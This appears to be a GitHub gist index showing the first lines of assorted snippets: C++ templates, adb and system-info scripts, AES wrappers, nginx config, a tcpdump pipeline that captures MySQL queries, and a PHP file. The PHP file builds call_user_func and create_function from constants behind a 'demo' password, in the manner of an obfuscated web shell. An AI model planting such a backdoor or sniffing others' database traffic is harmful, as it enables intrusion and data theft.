This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define MAKE_PAIR(text) std::pair<std::string, decltype(text)>{#text, text} | |
| template<typename T> | |
| constexpr static inline auto apply(T const & args) | |
| { | |
| return args; | |
| } | |
| template<typename T, typename T1, typename... Args> | |
| constexpr static inline auto apply(T const & t, const T1& first, const Args&... args) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Script adbplus | |
| # Run any command adb provides on all your currently connected devices, | |
| # Or prompt to select one device | |
| showHelp() { | |
| echo "Usage: adbplus [-a] <command>" | |
| echo " -h: show help" | |
| echo " -a: run command on all device" | |
| echo " command: normal adb commands" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e ' | |
| while(<>) { chomp; next if /^[^ ]+[ ]*$/; | |
| if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER|CALL)/i) | |
| { | |
| if (defined $q) { print "$q\n"; } | |
| $q=$_; | |
| } else { | |
| $_ =~ s/^[ \t]+//; $q.=" $_"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| class MCryptAES { | |
| private $iv; | |
| private $key; | |
| private $bit; //Only can use 128, 256 | |
| public function __construct($key, $bit = 128, $iv = "") { | |
| if($bit == 256){ | |
| $this->key = hash('SHA256', $key, true); | |
| }else{ | |
| $this->key = hash('MD5', $key, true); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import android.util.Base64; | |
| import java.security.Key; | |
| import java.security.MessageDigest; | |
| import javax.crypto.Cipher; | |
| import javax.crypto.spec.IvParameterSpec; | |
| import javax.crypto.spec.SecretKeySpec; | |
| public class MCryptAES { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <string> | |
| #include <type_traits> | |
| int main() | |
| { | |
| std::string s; | |
| std::cout << std::is_same<decltype(s), std::string>::value << std::endl; | |
| char s2[] = ""; | |
| std::cout << std::is_same<decltype(s2), std::string>::value << std::endl; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| noColor="\e[0m" | |
| green="\e[1;32m" | |
| yellow="\e[1;33m" | |
| SystemDescription=$(lsb_release -d|sed -n 's/Description:[ \t]*\([a-zA-Z]*\)/\1/p') | |
| SystemMachine=$(uname -m) | |
| SystemKernel=$(uname -r) | |
| SystemProcessor=$(uname -p) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //ngx_headers_more | |
| location / { | |
| if ( $host = 'bp.biz.weibo.com' ){ | |
| more_set_headers 'Server: Nginx'; | |
| } | |
| if ( $host = 'tui.weibo.com' ){ | |
| more_set_headers 'Server: Nginx_improved'; | |
| } | |
| .... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #/bin/bash | |
| #list predefined preprocessor symbols | |
| gcc -E -dM - < /dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo | |
| define('T','H*'); | |
| define('A','call'); | |
| define('B','user'); | |
| define('C','func'); | |
| define('D','create'); | |
| define('E','function'); | |
| define('F','file'); | |
| define('F1','get'); |